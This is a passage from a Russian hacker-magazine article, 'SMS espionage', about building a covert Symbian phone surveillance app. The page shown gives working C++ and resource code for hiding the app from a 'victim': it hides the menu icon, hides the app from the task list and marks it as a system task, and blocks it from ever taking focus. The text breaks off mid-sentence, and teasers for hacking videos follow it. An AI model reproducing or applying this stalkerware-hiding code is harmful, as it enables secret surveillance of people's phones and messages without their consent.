Хакер № 09/06 (93)

Смс–шпионаж
Тарасов Дмитрий aka Dem@n
Хакер, номер #093, стр. 093-132-2
исключения C++, а введена своя метода, направленная на предотвращение утечек памяти. С этой же целью используются двухфазные конструкторы. Объекты принято создавать так:
CMySessionObserver* observer=new(ELeave) CMySessionObserver;
CleanupStack::PushL(observer);
Обрати внимание, что оператор new перегружен и используется с параметром ELeave, этот механизм позволяет аварийно завершить программу и высвободить системные ресурсы в случае, если оператору new не удалось адресовать необходимую память. После создания объекта указатель помещается на связанный с каждым потоком выполнения CleanupStack. Каркас приложения (application framework) состоит из четырех основных классов - Application, Document, AppUI и Container. Все они наследуются от системных классов и служат для, соответственно, создания документа приложения, создания UI, обработки событий, перерисовки приложения и других задач. Советую тебе изучить раздел "Application Framework" в документации. После компиляции и сборки проекта, приложение можно протестировать в эмуляторе. Думаю, как собрать инсталляционный файл для мобилы, ты разберешься :).
Теперь будем постепенно добиваться поставленной цели и сделаем наше приложение невидимым.
Делаем невидимку
Само собой, вряд ли наша система скрытого наблюдения будет представлять какую-то ценность, если после установки в телефон, жертва увидит его в меню или в Task Meneger. Поэтому сейчас мы немного припрячем нашу программу :). Как ты, скорее всего, уже знаешь, при сборке проекта создается aif-файл (application information file), который содержит информацию о нашей сборке. Для того, чтобы придать программе необходимые свойства, нужно модифицировать структуру AIF_DATA, находящуюся в файле OurMegaAppaif.rss, изменив в ней необходимые поля. Нас интересует поле hidden, которому нужно задать значение KAppIsHidden. Выглядит это примерно так:
RESOURCE AIF_DATA
{
app_uid=0x0871aba4; //уникальный идентификатор приложения
...
hidden = KAppIsHidden; //прячем иконку
}
После этого необходимо переопределить виртуальную функцию UpdateTaskNameL, которая отвечает за отображение приложения в тасклисте. Для этого добавляем в заголовочный файл документа строку в объявление класса Document:
virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName);
После чего в реализацию класса документа добавляем:
void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) // конструкция :: играет роль namespace
{
CAknDocument::UpdateTaskNameL(aWgName); //вызывается системная функция UpdateTaskNameL
aWgName->SetHidden(ETrue); //Прячем приложение из контакт-листа
aWgName->SetSystem(ETrue);
}
После этого в конструктор класса AppUI вписываем следующие строки:
void CXaSMSAppUi::ConstructL()
{
BaseConstructL();
CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус
CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);
...
}
Это необходимо для того, чтобы наше приложение никогда не могло получить фокус, даже если жертва найдет в файловой системе исполняемый
Назад на стр. 093-132-1 Содержание Вперед на стр. 093-132-3
ВИДЕО К ЭТОМУ НОМЕРУТотальный разнос ТВ Главной герой ленты - молодой человек, страдающий психическими расстройствами. Свой гнев на весь белый свет он выплескивает в виртуальном мире в виде садистских надругательств над веб сайтами нескольких телевизионных компаний. На протяже...
Взлом за деньги В этом ролике ты увидишь, как хакер выполняет заказ на взлом одного из крупных интернет-магазинов. Взломщику необходимо получить доступ к базе данных интернет-магазина. Сначала хакер находит SQL-инъекцию в движке форума магазина, а затем...
Антитроянские штучки Итак, жизнь в сети полна опасностей и форс-мажорных обстоятельств. Никто не застрахован от червей, троянов и прочих маленьких "радостей". Последствия таких встреч тебя наверно мало радуют :). Но беда еще в том, что черви не толь...
|